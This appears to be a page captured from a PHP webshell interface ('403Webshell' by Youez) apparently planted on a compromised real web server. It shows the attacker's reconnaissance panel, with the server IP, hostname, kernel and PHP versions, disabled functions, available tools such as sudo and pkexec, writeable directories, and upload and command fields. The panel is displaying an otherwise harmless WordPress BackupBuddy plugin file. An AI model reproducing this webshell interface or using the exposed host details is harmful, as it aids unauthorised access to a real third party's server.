403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)hsihk.com/wp-content/plugins/backupbuddy/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)hsihk.com/wp-content/plugins/backupbuddy/classes/api0.php
<?php
class backupbuddy_api0 {
	
	/* getLastError() -- NOT YET IMPLEMENTED.
	 *
	 * Retrieve the last error the API encountered. Use if a method returned bool FALSE to get message.
	 *
	 */
	public static function getLastError() {
	}
	
	
	// backupbuddy_api0::getOverview()
	public static function getOverview() {
		self::_before();
		
		return array(
			'backupbuddyVersion'		=> pb_backupbuddy::settings( 'version' ),
			'localTime'					=> time(),
			'lastBackupStart'			=> pb_backupbuddy::$options['last_backup_start'],
			'lastBackupSerial'			=> pb_backupbuddy::$options['last_backup_serial'],
			'lastBackupStats'			=> pb_backupbuddy::$options['last_backup_stats'],
			'editsSinceLastBackup'		=> pb_backupbuddy::$options['edits_since_last'],
			'scheduleCount'				=> count( pb_backupbuddy::$options['schedules'] ),
			'profileCount'				=> count( pb_backupbuddy::$options['profiles'] ),
			'destinationCount'			=> count( pb_backupbuddy::$options['remote_destinations'] ),
			'notifications'				=> array(), // Array of string notification messages.
		);
	}
	
	
	// backupbuddy_api0::getSchedules()
	public static function getSchedules() {
		self::_before();
		
		$schedules = array();
		foreach( pb_backupbuddy::$options['schedules'] as $schedule_id => $schedule ) {
			$schedules[] = array(
				'title' => strip_tags( $schedule['title'] ),
				'type' => pb_backupbuddy::$options['profiles'][$schedule['profile']]['type'],
				'interval' => $schedule['interval'],
				'lastRun' => $schedule['last_run'],
				'enabled' => $schedule['on_off'],
				'profileID' => $schedule['profile'],
				'profileTitle' => strip_tags( pb_backupbuddy::$options['profiles'][$schedule['profile']]['title'] ),
				'id' => $schedule_id
			);
		}
		return $schedules;
	}
	
	
	
	private static function _before() {
	}
	
} // end class.

Youez - 2016 - github.com/yon3zu
LinuXploit